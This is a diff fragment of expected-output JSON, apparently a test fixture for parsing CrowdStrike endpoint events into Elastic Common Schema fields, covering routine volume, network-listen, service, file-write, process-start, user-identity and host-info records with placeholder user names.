+            },
+            "file": {
+                "device": "PCI\\VEN_8086&DEV_31E3&SUBSYS_080C1028&REV_03\\3&11583659&0&90"
+            },
+            "host": {
+                "id": "ffffffff1990483499a736373600eef7",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FsVolumeMounted",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff1990483499a736373600eef7",
+                "version": "100.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "4492535979973",
+                "thread": {
+                    "id": 14023068415125
+                }
+            },
+            "related": {
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:28.936Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1789338890",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "321210562584146513",
+                "ContextTimeStamp": "2020-11-08T17:05:27.011Z",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "127.0.0.1"
+                ],
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-ae74-065212970c5d",
+                "name": "NetworkListenIP4MacV5"
+            },
+            "destination": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0",
+                "port": 0
+            },
+            "device": {
+                "id": "ffffffffe5ff467b4f0c4fd41a4462bb"
+            },
+            "event": {
+                "action": "NetworkListenIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2020-11-08T17:05:28.936Z",
+                "id": "ffffffff-1111-11eb-ae74-065212970c5d|ffffffffe5ff467b4f0c4fd41a4462bb|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321210562584146513\",\"ContextTimeStamp\":\"1604855127.011\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"127.0.0.1\",\"LocalPort\":\"53\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"0.0.0.0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffe5ff467b4f0c4fd41a4462bb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkListenIP4\",\"id\":\"ffffffff-1111-11eb-ae74-065212970c5d\",\"name\":\"NetworkListenIP4MacV5\",\"timestamp\":\"1604855128936\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffffe5ff467b4f0c4fd41a4462bb",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NetworkListenIP4",
+            "network": {
+                "direction": "outbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffe5ff467b4f0c4fd41a4462bb",
+                "version": "1007.4.0011104.1"
+            },
+            "process": {
+                "entity_id": "321210562584146513"
+            },
+            "related": {
+                "hash": [
+                    "1789338890"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "127.0.0.1",
+                    "0.0.0.0"
+                ]
+            },
+            "source": {
+                "address": "127.0.0.1",
+                "ip": "127.0.0.1",
+                "port": 53
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:24.068Z",
+            "crowdstrike": {
+                "AuthenticationId": "999",
+                "ConfigStateHash": "3338885535",
+                "ContextTimeStamp": "2020-11-08T17:06:25.108Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InterfaceGuid": "367ABB81-9844-35F1-AD32-98F038001003",
+                "InterfaceVersion": "131072",
+                "RpcClientProcessId": "219053851298",
+                "RpcClientThreadId": "22047924482692",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "19",
+                "TargetThreadId": "22920092479704",
+                "TokenType": "1",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-860c-0606af112d55",
+                "name": "HostedServiceStartedV2"
+            },
+            "device": {
+                "id": "ffffffff59514ea68b4693ddfb9b6643"
+            },
+            "event": {
+                "action": "HostedServiceStarted",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:06:24.068Z",
+                "id": "ffffffff-1111-11eb-860c-0606af112d55|ffffffff59514ea68b4693ddfb9b6643|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"999\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextTimeStamp\":\"1604855185.108\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\System32\\\\gpsvc.dll\",\"InterfaceGuid\":\"367ABB81-9844-35F1-AD32-98F038001003\",\"InterfaceVersion\":\"131072\",\"RpcClientProcessId\":\"219053851298\",\"RpcClientThreadId\":\"22047924482692\",\"RpcNestingLevel\":\"0\",\"RpcOpNum\":\"19\",\"ServiceDisplayName\":\"gpsvc\",\"TargetProcessId\":\"224116976578\",\"TargetThreadId\":\"22920092479704\",\"TokenType\":\"1\",\"UserName\":\"user7\",\"aid\":\"ffffffff59514ea68b4693ddfb9b6643\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostedServiceStarted\",\"id\":\"ffffffff-1111-11eb-860c-0606af112d55\",\"name\":\"HostedServiceStartedV2\",\"timestamp\":\"1604855184068\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffff59514ea68b4693ddfb9b6643",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "HostedServiceStarted",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff59514ea68b4693ddfb9b6643",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "224116976578",
+                "executable": "\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll",
+                "name": "gpsvc.dll",
+                "title": "gpsvc"
+            },
+            "related": {
+                "hash": [
+                    "3338885535"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "user7"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "user7"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:08:22.512Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3338885535",
+                "ContextTimeStamp": "2020-11-08T17:08:19.018Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "TargetThreadId": "24238019995551",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9b11-0602a5689467",
+                "name": "HostedServiceStoppedV1"
+            },
+            "device": {
+                "id": "ffffffff2b5a4bf5afc6682595faa016"
+            },
+            "event": {
+                "action": "HostedServiceStopped",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:08:22.512Z",
+                "id": "ffffffff-1111-11eb-9b11-0602a5689467|ffffffff2b5a4bf5afc6682595faa016|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextTimeStamp\":\"1604855299.018\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ServiceDisplayName\":\"wuauserv\",\"TargetProcessId\":\"661455186053\",\"TargetThreadId\":\"24238019995551\",\"aid\":\"ffffffff2b5a4bf5afc6682595faa016\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostedServiceStopped\",\"id\":\"ffffffff-1111-11eb-9b11-0602a5689467\",\"name\":\"HostedServiceStoppedV1\",\"timestamp\":\"1604855302512\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "ffffffff2b5a4bf5afc6682595faa016",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "HostedServiceStopped",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff2b5a4bf5afc6682595faa016",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "661455186053",
+                "title": "wuauserv"
+            },
+            "related": {
+                "hash": [
+                    "3338885535"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:07:44.313Z",
+            "crowdstrike": {
+                "AuthenticationId": "3443175",
+                "ConfigStateHash": "3338885535",
+                "ContextProcessId": "1091372257857",
+                "ContextTimeStamp": "2020-11-08T17:07:07.625Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileEcpBitmask": "0",
+                "FileObject": "18446603341701082336",
+                "IrpFlags": "1028",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "18",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-baea-02dccfbb7779",
+                "name": "PdfFileWrittenV11"
+            },
+            "device": {
+                "id": "ffffffff32cb4abc50bc133b31a69946"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:07:44.313Z",
+                "id": "ffffffff-1111-11eb-baea-02dccfbb7779|ffffffff32cb4abc50bc133b31a69946|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"3443175\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"1091372257857\",\"ContextThreadId\":\"36855848099771\",\"ContextTimeStamp\":\"1604855227.625\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_1179\\u0026DEV_0113\\u0026SUBSYS_00011179\\u0026REV_01\\\\4\\u00263ad42678\\u00260\\u002600E0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100\",\"FileObject\":\"18446603341701082336\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"288041\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\user12\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\\\TempState\\\\Downloads\\\\ex.pdf.8e41hf8.partial\",\"TokenType\":\"1\",\"aid\":\"ffffffff32cb4abc50bc133b31a69946\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"PdfFileWritten\",\"id\":\"ffffffff-1111-11eb-baea-02dccfbb7779\",\"name\":\"PdfFileWrittenV11\",\"timestamp\":\"1604855264313\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "PCI\\VEN_1179&DEV_0113&SUBSYS_00011179&REV_01\\4&3ad42678&0&00E0",
+                "directory": "\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads",
+                "extension": "partial",
+                "inode": "f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100",
+                "name": "ex.pdf.8e41hf8.partial",
+                "path": "\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial",
+                "size": 288041,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff32cb4abc50bc133b31a69946",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "PdfFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff32cb4abc50bc133b31a69946",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1091372257857",
+                "thread": {
+                    "id": 36855848099771
+                }
+            },
+            "related": {
+                "hash": [
+                    "3338885535"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:22.022Z",
+            "crowdstrike": {
+                "AuthenticationId": "3783389",
+                "ConfigStateHash": "3998263252",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "ImageSubsystem": "2",
+                "IntegrityLevel": "4096",
+                "MD5HashData": "50d5fd1290d94d46acca0585311e74d5",
+                "ParentAuthenticationId": "3783389",
+                "ProcessCreateFlags": "525332",
+                "ProcessParameterFlags": "16385",
+                "ProcessSxsFlags": "1600",
+                "RpcClientProcessId": "2439558094566",
+                "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
+                "SessionId": "1",
+                "SourceProcessId": "2439558094566",
+                "SourceThreadId": "77538684027214",
+                "Tags": [
+                    "41",
+                    "12094627905582",
+                    "12094627906234"
+                ],
+                "TokenType": "2",
+                "WindowFlags": "128",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-8462-02ade3b2f949",
+                "name": "ProcessRollup2V18"
+            },
+            "device": {
+                "id": "ffffffff655344736aca58d17fb570f0"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:06:22.022Z",
+                "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1604855182022\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffff655344736aca58d17fb570f0",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff655344736aca58d17fb570f0",
+                "version": "1007.3.0012309.1"
+            },
+            "process": {
+                "Ext": {
+                    "token": {
+                        "integrity_level_name": "LOW"
+                    }
+                },
+                "args": [
+                    "C:\\WINDOWS\\system32\\backgroundTaskHost.exe",
+                    "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca"
+                ],
+                "args_count": 2,
+                "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca",
+                "entity_id": "2450046082233",
+                "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe",
+                "hash": {
+                    "md5": "50d5fd1290d94d46acca0585311e74d5",
+                    "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37"
+                },
+                "name": "backgroundTaskHost.exe",
+                "parent": {
+                    "entity_id": "2439558094566",
+                    "name": "svchost.exe"
+                },
+                "pid": 22272,
+                "start": "2020-11-08T17:06:21.648Z"
+            },
+            "related": {
+                "hash": [
+                    "50d5fd1290d94d46acca0585311e74d5",
+                    "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
+                    "3998263252"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "S-1-12-1-3697283754-1083485977-2164330645-2516515886"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:09:15.388Z",
+            "crowdstrike": {
+                "AuthenticationId": "326190744",
+                "AuthenticationUuid": "98467113-C771-4845-B71B-89B3CE9F93C9",
+                "AuthenticationUuidAsString": "13714698-71C7-4548-B71B-89B3CE9F93C9",
+                "ConfigStateHash": "1457965279",
+                "Entitlements": "15",
+                "UserSid": "S-1-5-21-3629339319-2376021926-2724479216-652382488",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b",
+                "name": "UserIdentityMacV2"
+            },
+            "device": {
+                "id": "ffffffff1f32487185fcde66a9dc0528"
+            },
+            "event": {
+                "action": "UserIdentity",
+                "category": [
+                    "authentication",
+                    "iam"
+                ],
+                "created": "2020-11-08T17:09:15.388Z",
+                "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b|ffffffff1f32487185fcde66a9dc0528|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"326190744\",\"AuthenticationUuid\":\"98467113-C771-4845-B71B-89B3CE9F93C9\",\"AuthenticationUuidAsString\":\"13714698-71C7-4548-B71B-89B3CE9F93C9\",\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1457965279\",\"Entitlements\":\"15\",\"UID\":\"326190744\",\"UserPrincipal\":\"user8@dom6\",\"UserSid\":\"S-1-5-21-3629339319-2376021926-2724479216-652382488\",\"aid\":\"ffffffff1f32487185fcde66a9dc0528\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"UserIdentity\",\"id\":\"ffffffff-1111-11eb-b9b4-063e98f9b19b\",\"name\":\"UserIdentityMacV2\",\"timestamp\":\"1604855355388\"}",
+                "outcome": "success",
+                "type": [
+                    "info",
+                    "user"
+                ]
+            },
+            "host": {
+                "id": "ffffffff1f32487185fcde66a9dc0528",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "UserIdentity",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff1f32487185fcde66a9dc0528",
+                "version": "1007.4.0011104.1"
+            },
+            "related": {
+                "hash": [
+                    "1457965279"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "user8",
+                    "user8@dom6",
+                    "326190744"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "dom6",
+                "email": "user8@dom6",
+                "full_name": "user8",
+                "id": "326190744"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:57.555Z",
+            "crowdstrike": {
+                "BootArgs": [
+                    "NOEXECUTE=OPTIN",
+                    "HYPERVISORLAUNCHTYPE=AUTO",
+                    "FVEBOOT=2125824",
+                    "NOVGA"
+                ],
+                "ConfigStateHash": "1874387338",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9bbd-061290dcd983",
+                "name": "HostInfoV2"
+            },
+            "device": {
+                "id": "ffffffffcdb543135e7fcdf8e5a8fbdb"
+            },
+            "event": {
+                "action": "HostInfo",
+                "category": [
+                    "host"
+                ],
+                "created": "2020-11-08T17:05:57.555Z",
+                "id": "ffffffff-1111-11eb-9bbd-061290dcd983|ffffffffcdb543135e7fcdf8e5a8fbdb|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"BootArgs\":\" NOEXECUTE=OPTIN  HYPERVISORLAUNCHTYPE=AUTO  FVEBOOT=2125824  NOVGA\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1874387338\",\"EffectiveTransmissionClass\":\"0\",\"Entitlements\":\"15\",\"MachineDomain\":\"\",\"aid\":\"ffffffffcdb543135e7fcdf8e5a8fbdb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostInfo\",\"id\":\"ffffffff-1111-11eb-9bbd-061290dcd983\",\"name\":\"HostInfoV2\",\"timestamp\":\"1604855157555\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffffcdb543135e7fcdf8e5a8fbdb",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "HostInfo",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffcdb543135e7fcdf8e5a8fbdb",
+                "version": "1007.3.0011603.1"
+            },
+            "related": {
+                "hash": [
+                    "1874387338"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T15:57:11.298Z",
+            "crowdstrike": {
+                "AuthenticationId": "703298",
+                "ConfigStateHash": "2642284486",
+                "ContextProcessId": "1161025471861",
+                "ContextTimeStamp": "2020-11-08T15:57:10.593Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileEcpBitmask": "0",
+                "FileObject": "18446664963104449168",
+                "IrpFlags": "1028",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "1",
+                "MajorFunction": "18",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-800a-06cecfd73923",
+                "name": "GenericFileWrittenV11"
+            },
+            "device": {
+                "id": "ffffffff16bf4c7bb5ad755a4722025c"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T15:57:11.298Z",
+                "id": "ffffffff-1111-11eb-800a-06cecfd73923|ffffffff16bf4c7bb5ad755a4722025c|ffffffff30a3407dae27d0503611022d",
+                "original": "{\"AuthenticationId\":\"703298\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2642284486\",\"ContextProcessId\":\"1161025471861\",\"ContextThreadId\":\"34929528116709\",\"ContextTimeStamp\":\"1604851030.593\",\"DiskParentDeviceInstanceId\":\"USB\\\\VID_1058\\u0026PID_2621\\\\57583431453939315A4C5255\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"262fbc677256cf4c8d6c6a227285a072c06830873b000000\",\"FileObject\":\"18446664963104449168\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"1\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"517029\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume5\\\\01.png.tmp$$\",\"TokenType\":\"1\",\"UserName\":\"user9\",\"aid\":\"ffffffff16bf4c7bb5ad755a4722025c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"GenericFileWritten\",\"id\":\"ffffffff-1111-11eb-800a-06cecfd73923\",\"name\":\"GenericFileWrittenV11\",\"timestamp\":\"1604851031298\"}"
+            },
+            "file": {
+                "device": "USB\\VID_1058&PID_2621\\57583431453939315A4C5255",
+                "directory": "\\Device\\HarddiskVolume5",
+                "extension": "tmp$$",
+                "inode": "262fbc677256cf4c8d6c6a227285a072c06830873b000000",
+                "name": "01.png.tmp$$",
+                "path": "\\Device\\HarddiskVolume5\\01.png.tmp$$",
+                "size": 517029,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff16bf4c7bb5ad755a4722025c",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "GenericFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff16bf4c7bb5ad755a4722025c",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1161025471861",
+                "thread": {
+                    "id": 34929528116709
+                }
+            },
+            "related": {
+                "hash": [
+                    "2642284486"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "user9"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "user9"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T15:54:59.812Z",
+            "crowdstrike": {
+                "ConfigStateHash": "666346415",
+                "ContextProcessId": "1717987648455",
+                "ContextTimeStamp": "2020-11-08T15:54:59.164Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "VolumeName": "\\Device\\HarddiskVolume27",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9",
+                "name": "FsVolumeUnmountedV2"
+            },
+            "device": {
+                "id": "ffffffff896b43725b83c79aa79959da"
+            },
+            "event": {
+                "action": "FsVolumeUnmounted",
+                "category": [
+                    "host"
+                ],
+                "created": "2020-11-08T15:54:59.812Z",
+                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
